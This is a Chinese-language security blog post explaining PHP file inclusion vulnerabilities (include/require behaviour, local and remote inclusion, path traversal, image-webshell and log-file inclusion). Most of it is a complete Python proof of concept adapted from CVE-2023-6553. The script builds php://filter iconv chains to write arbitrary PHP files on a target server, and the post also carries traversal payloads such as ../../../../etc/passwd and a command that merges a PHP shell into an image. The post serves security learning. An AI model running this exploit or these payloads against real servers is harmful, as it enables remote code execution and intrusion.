PHP 文件包含

漏洞原理

文件包含是 PHP 中的一个功能,能够执行被包含文件中的 PHP 代码。

当目标文件中没有 PHP 代码时,会直接显示文件内容。

漏洞原理:文件包含参数可控,导致包含攻击者恶意的文件,造成 PHP 代码执行或敏感文件读取。

相关函数

  • include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
  • include_once( ):功能与 include() 相同,区别在于当重复调用同一文件时,程序只调用一次
  • require_once( ):功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次

漏洞利用

  • 本地文件包含:包含服务器本地的文件
  • 远程文件包含:包含其他服务器上的文件

本地文件包含

本地文件包含漏洞利用:

  • 读取文件
  • 代码执行
  • PHP 伪协议

读取文件

1
filename=../../../../etc/passwd

代码执行

  • 图片马包含
  • 日志文件包含
  • environ 文件包含
  • session 文件包含
  • phpinfo 临时文件包含
  • php://filter

这里只写一下图片吗和日志文件,其他情况了遇到了在记录。

图片马包含

在图片中插入木马,上传该图片后包含即可,这也是最常用的方法,其他的在 CTF 或者靶机中较为常见 。

1
copy logo.png/b+shell.php shell.jpg
日志文件包含

我们构造恶意的代码去访问对应的服务,这个服务的日志就会将代码记录下来,包含该日志文件即可。

日志文件如 中间件日志、SSH日志等等。

php://filter

2024-03-02

之前对于 php://filter 的利用更多是一些 ctf 中进行文件读取操作,但是在看到了 Chocapikk/CVE-2023-6553: Backup Migration <= 1.3.7 - Unauthenticated Remote Code Execution (github.com) 这个 POC 后就改变了看法,简单说一下这个漏洞,一个文件包含漏洞:

1
require_once BMI_INCLUDES . '/bypasser.php';

BMI_INCLUDES 可控

1
2
define('BMI_ROOT_DIR', $fields['content-dir']);
define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

可以看到 require_once 这里有可控点,但是后面有一个 /bypasser.php,这就导致了这个文件包含漏洞不太好利用,不过发现了这个 POC 通过 php://filter 写文件实现 RCE 打开了思路,之前知道 php://filter 可以写文件,但没具体实现过。

提取出来的 POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python
# coding: utf-8
import base64
import random
import string

import requests


def random_str(length=10, chars=string.ascii_letters + string.digits):
return ''.join(random.sample(chars, length))


class PHPFilterChainGenerator:
def __init__(self):
self.conversions = {
"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"C": "convert.iconv.UTF8.CSISO2022KR",
"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
"W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
"/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
"=": "",
}

def generate_filter_chain(self, chain):
chain = chain.encode("utf-8")
chain = base64.b64encode(chain).decode("utf-8").replace("=", "")
encoded_chain = chain
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"

for c in encoded_chain[::-1]:
filters += self.conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource=php://temp"
return final_payload


def send_payload(base_url, payload):
try:
"""
payload 到文件包含参数
"""
params = {
'filename': payload
}
url = base_url.rstrip('/') + '/include.php'
requests.get(url, params=params, verify=False)
except Exception as e:
pass


def write_string_to_file(bash_url, string_to_write, write_file_name):
generator = PHPFilterChainGenerator()
temp_file_name = random_str(1)
init_command = f"<?php fwrite(fopen('{temp_file_name}','w'),'');?>"
send_payload(bash_url, generator.generate_filter_chain(init_command))
for char in string_to_write:
command = (
f"<?php fwrite(fopen('{temp_file_name}','a'),'{char}');?>"
)
send_payload(bash_url, generator.generate_filter_chain(command))
copy_command = f"<?php copy('{temp_file_name}','{write_file_name}');?>"
send_payload(bash_url, generator.generate_filter_chain(copy_command))
delete_command = f"<?php unlink('{temp_file_name}');?>"
send_payload(bash_url, generator.generate_filter_chain(delete_command))


if __name__ == '__main__':
base_url = 'http://192.168.142.138/'
string_to_write = "<?php phpinfo(); ?>"
write_file_name = "phpinfo.php"
write_string_to_file(base_url, string_to_write
, write_file_name)

脚本仅适用于 Linux 类型的系统,不过也可以了算是拓展了一种本地文件包含的 RCE 的思路,而且还是这种后面加有指定文件的类型的一种绕过手段。

而且 php://filter 只需要 allow_url_fopen 开启就是就 OK,这个参数是默认开启的。

在遇到 CVE-2023-3452 想起来了这个利用方法,看这个漏洞的利用是利用远程文件包含,这就需要 allow_url_include 了,换成这种就不需要那么麻烦了。

伪协议

PHP 中封装着一系列的协议,而它可以用于一些函数中,恰巧我们的文件包含函数就可以利用这些协议,然后根据伪协议功能不同去造成不同的危害。

这里也只是简单写一下,这方法属于是 CTF 方面的常用方法,也不打 CTF 了,就不写详细的。

CTF中常用的php伪协议利用

远程文件包含

php.ini 配置要求:

  1. allow_url_include、allow_url_fopen 开启
  2. PHP < 5.3.0 时,magic_quotes_gpc 需要关闭

直接构造 shell,然后远程包含即可。


PHP 文件包含
https://liancccc.github.io/2024/03/15/技术/TOP10/文件包含/
作者
守心
发布于
2024年3月15日
许可协议